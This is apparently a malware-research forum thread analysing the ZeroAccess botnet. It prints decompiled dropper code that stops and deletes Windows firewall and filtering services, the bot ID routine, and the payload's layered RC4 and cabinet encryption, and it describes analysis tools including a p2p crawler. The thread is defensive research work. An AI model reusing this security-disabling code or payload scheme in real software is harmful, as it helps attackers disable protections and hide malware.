[EP_X0FF]

Hello. Despite this

11) AntiMSE/WindowsDefender code completely removed, well actually lot of code removed too.

several Microsoft services still stopped and removed by dropper.

Code: Select all

  if ( !result )
  {
    result = OpenSCManagerW(0, 0, 0xF003Fu);
    v2 = result;
    if ( result )
    {
      v3 = OpenServiceW(result, L"mpssvc", 0xF01FFu);
      if ( v3 )
        StopAndDeleteSvc(v3);
      v4 = OpenServiceW(v2, L"SharedAccess", 0xF01FFu);
      if ( v4 )
        StopAndDeleteSvc(v4);
      v5 = OpenServiceW(v2, L"bfe", 0xF01FFu);
      if ( v5 )
        StopAndDeleteSvc(v5);
      result = (SC_HANDLE)CloseServiceHandle(v2);
    }
  }

Best Regards,
-rin

Yeap, also I was wrong about

9) UID calculation based on MD5 for \systemroot folder VolumeCreationTime is the same.

This slightly changed it, and it now looks like this

Code: Select all

			fsVolumeInfo.VolumeCreationTime.HighPart ^= 0x1010101; //<-new in zeroaccess 2014
			MD5Init(&ctx);
			MD5Update(&ctx, (unsigned char*)&fsVolumeInfo.VolumeCreationTime, sizeof(LARGE_INTEGER));
			MD5Final(&ctx);
			RtlCopyMemory(MD5Hash, &ctx.buf, 16);

Also there is seems to be very interesting number of bots running outside of x86-32 and x86-64 ports ranges. Usual bots cannot connect them (their ports out of the ranges), only they can connect infected machines.

[MalwareTech]

Also there is seems to be very interesting number of bots running outside of x86-32 and x86-64 ports ranges. Usual bots cannot connect them (their ports out of the ranges), only they can connect infected machines.

Probably researchers with badly configured sensor nodes; there's also a couple of nodes which keep changing port.

[EP_X0FF]

While building ZeroAccess emulator we have come across payload it downloads from p2p network. Currently it is 2 files.

00000001.@ - configuration file with callback IP address + port
80000000.@ - payload code to be executed, purpose seems identical to that used before.

Payload come multilayered encrypted.

First layer is packet stream encrypted using key '1234' (new key). Second is RC4 encryption of file itself. No changes here since Sophos report. Downloaded files are MZ PE files, but they are just containers. They contain 2 resources inside - [1] - embedded signature to verify if file is legit for use, [2] - payload resource.

To decrypt resources ZeroAccess uses the same RC4 with key as MD5 calculated from from IMAGE_NT_HEADERS->FileHeader, this applied directly to the resource. Result of RC4 decryption will be Microsoft Cabinet File, containing yet another MZ PE file inside.

In case of 00000001.@ in this file in Cabinet loaded and in it file resources (yet again) stored IP address and port used for call home.
In case of 80000000.@ this file in Cabinet is loaded and executed via file ordinal "2" -> LdrGetProcedureAddress(MzPe, 0, 2, &ZeroAccessPayloadStart); ZeroAccessPayloadStart(&InterfaceBlock).

Comparing to previous ZeroAccess version it is a bit more complicated.

[AaLl86]

Hi All!
I know that it is a bit old, but maybe it could help someone:
http://www.andrea-allievi.com/blog/zero ... -analysis/

Tell me what do you think.
As usual, great community here. Thanks R136a1 for the new sample!

Andrea

[EP_X0FF]

Nice share. Code now slightly different, mostly adapting to various security countermeasures (especially their madness with using winsock and API calls obfuscation). Probably we will soon share something too :)

[EP_X0FF]

https://github.com/hfiref0x/ZeroAccess

1. ZeroAccess peer list (@ file) decoder

Processes input file as ZeroAccess peer file, type required for correct port assignation. Result is output file with Time and IP+Port pairs as text. Usage:

zadecode peerlist_filename [type 32 or 64, default 32], e.g. zadecode s32 32

2. ZeroAccess payload decryptor

Processes input as ZeroAccess payload container, attempting to decode it using RC4 and extract Microsoft Cabinet afterthat.

Usage:

zadecrypt inputfile [outputfile], e.g. zadecrypt 80000000.@ out.bin

3. ZeroAccess payload container verificator

Verifies if given file is valid container for ZeroAccess. Requires EA to be set at input file. More information about verification algorithm can be found in source.

Usage:

zacheck inputfile [mode 32 or 64, default 32], e.g. zacheck 80000000.@ 32

4. ZeroAccess p2p network crawler

GUI application that monitors given p2p botnet network and downloads payload from it. Downloaded files contain all required information for further verification by zacheck tool. Dumps collected peers in ZeroAccess format so they can be used as bootstrap next. Use x86-32 version for win32 botnet and x64 for win64. For work required proper bootstrap list and read/write access to current directory.

All four implemented as standalone tools.

[R136a1]

Two "fresh" samples (hint came from MalwareTech):

https://www.virustotal.com/en/file/1959 ... /analysis/ (2016-01-14)
https://www.virustotal.com/en/file/33ef ... /analysis/ (2016-01-10)

[MalwareTech]

Two "fresh" samples (hint came from MalwareTech):

https://www.virustotal.com/en/file/1959 ... /analysis/ (2016-01-14)
https://www.virustotal.com/en/file/33ef ... /analysis/ (2016-01-10)

Damn, you are fast :D

[EP_X0FF]

They actually identical and belong to the same "test" botnet, which is doing nothing and core components untouched as well as bootstrap list. Nothing new. Probably the only difference so far is the xor key used to decrypt image data in the high level dropper code, which is looks like set up automatically by bot builder when it insert encrypted lower level dropper as image into high level dropper resource, plus different build time. Why high level dropper is not obfuscated at all?

[yaniva]

Hi,
I'm new at analyzing the ZerpAccess malware family- so i'm sorry if i'm gonna ask a newbie question-
How can be certain that i successfully infect myself with ZeroAccess ?
While i analyzed Dridex there was some threads in Explorer.exe that was created upon successful infection, is there any thing similar with ZeroAccess ?